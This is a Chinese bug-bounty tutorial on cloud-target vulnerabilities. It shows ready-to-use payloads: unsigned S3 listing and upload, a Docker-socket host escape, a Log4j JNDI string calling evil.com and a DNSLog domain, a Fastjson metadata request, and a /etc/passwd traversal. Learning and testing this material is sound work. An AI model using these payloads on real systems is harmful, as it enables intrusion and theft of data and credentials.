上期回顾：我们用泛微、致远打穿了 OA 系统，拿到了服务器权限。但现在的战场变了，“云原生”​ 时代来临，目标可能只是一台云主机，甚至只是一个存储桶。

这一期，我们要把视角拉到云端，看看如何把别人的云变成你的“免费网盘”。☁️

---

一、对象存储（OSS/S3）配置错误 —— “公有云”的悲剧

这是目前 SRC 里最容易出、奖金最高的漏洞类别之一。

1. 什么是 OSS/Bucket？

简单理解：厂商把图片、视频、备份文件放在了云厂商（阿里云、腾讯云、AWS）的“公共硬盘”里。

如果这个硬盘设置了 “公共读/写” (Public Read/Write)，任何人都可以进去拿东西，甚至删库。

2. 实战案例：接管厂商的“数据仓库”

Step 1: 发现 Bucket

在 JS 文件或数据包里发现：https://static.example.com/logo.png

推断 Bucket 名称：static.example.com或 example-static。

Step 2: 使用工具接管

工具：aliyun-console或 aws-cli。

# 列出 Bucket 里的文件
aws s3 ls s3://example-static/ --no-sign-request

结果：哗啦啦出来一堆文件，包括 db_backup_2023.sql、user_id_cards.zip。

Step 3: 证明危害

如果你能执行 aws s3 cp test.txt s3://example-static/，意味着你可以上传 Webshell​ 到他们的静态资源服务器，或者直接删除所有文件（勒索）。

SRC 评级：严重 (Critical)。因为这意味着核心数据资产泄露。

---

二、K8s & Docker 逃逸 —— 容器不是保险箱

很多 SRC 目标跑在 Docker 容器里。你拿到了 Shell，但发现自己在一个“笼子”里。

1. Docker Socket 挂载逃逸

场景：运维为了方便，把宿主机的 Docker 控制接口 (/var/run/docker.sock) 挂载到了容器里。

操作：

1. 你通过 Web 漏洞 GetShell，进入容器。

2. 执行：docker ps(发现能用！说明挂载了 sock)。

3. 启动一个新容器，把宿主机根目录挂载进去：

   docker run -it --rm -v /:/host nginx chroot /host /bin/bash

4. 结果：你拿到了宿主机的 Root 权限。🎉

2. K8s (Kubernetes) API Server 未授权

场景：K8s 的 API 端口 6443 暴露在公网，且没有鉴权。

Payload：

curl https://target:6443/api/

结果：直接获取集群信息，可以看到所有 Pod（容器）的秘钥和环境变量。

---

三、Log4j (CVE-2021-44228) —— 永不落幕的“核弹”

虽然过去两年了，但 Log4j 依然是 SRC 里的“捡漏之王”。很多内网系统、老旧 OA 还没修。

1. 原理简述

Java 的日志组件 Log4j 有个“超能力”：它能解析 ${}里的特殊语法。

当日志里记录了用户输入的 User-Agent或 username时，你把 ${jndi:ldap://evil.com/a}塞进去。

Log4j 就会去你的服务器 evil.com下载并执行恶意代码。

2. SRC 实战：盲打

Payload：

${jndi:ldap://${sys:java.version}.your-domain.dnslog.cn}

技巧：

• 插在 User-Agent。

• 插在 Referer。

• 插在 JWT Token​ 里。

• 插在 JSON 参数​ 里。

证明：DNSLog 收到请求，提交报告，奖金到手。

---

四、中间件漏洞：老兵不死

1. Fastjson 反序列化（续）

虽然之前讲过，但在云环境下更致命。

云元数据攻击：

json

{
  "@type": "java.net.InetAddress",
  "val": "169.254.169.254" 
}

如果 Fastjson 在云服务器上，这个 Payload 可能会触发服务器去访问云元数据接口，泄露 AccessKey。

2. Spring Cloud Config 目录穿越

CVE-2020-5405。

Payload：/..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd

用来读取云主机上的配置文件，找数据库密码。

---

五、SRC 报告中的“云安全”话术

漏洞描述	厂商反应	评级
OSS Bucket 可写	“我的代码要重写...”	严重​
K8s 未授权访问	“救命，快断网！”	严重​
Log4j 盲打​	“这锅我不背，是 Apache 的。”	高危/严重​

报告话术：

“由于对象存储 Bucket 权限配置为 Public Read/Write，攻击者可枚举并下载所有敏感备份文件（含用户身份证、数据库备份），导致大规模数据泄露。同时，利用 Log4j 漏洞可进一步攻击内网 K8s 集群。”

---

六、互动与思考

💬 互动话题：

大家挖云安全时，遇到过最离谱的配置是什么？

是 Bucket 里直接放着 id_rsa私钥，还是 Redis 公网无密码且 Root 权限？😂

---

⚠️ 法律红线警示

1. 严禁对他人的 OSS Bucket 进行 List Buckets​ 或 Download​ 操作（除非明确授权）。发现可访问即可，不要下载数据。

2. 严禁利用 Log4j 或 Fastjson 向目标服务器写入 Webshell 或执行破坏性命令。使用 DNSLog 验证即可。

3. 严禁尝试逃逸 Docker/K8s 进入宿主机，这属于非法入侵核心基础设施。

4. 测试原则：

   • 使用 Echo 服务器​ 或 DNSLog​ 证明漏洞存在。

   • 不要查看、下载任何真实用户数据。

   • 不要尝试修改云资源配置（如删除 Bucket、修改安全组）。

     云安全关乎企业命脉，请保持敬畏之心，只做漏洞的发现者，不做灾难的制造者。​ 🛡️

下一期，我们将进入 “代码审计实战”—— 从源码里抠漏洞”。想知道怎么在几万行代码里找到那个 eval()吗？敬请期待！🔍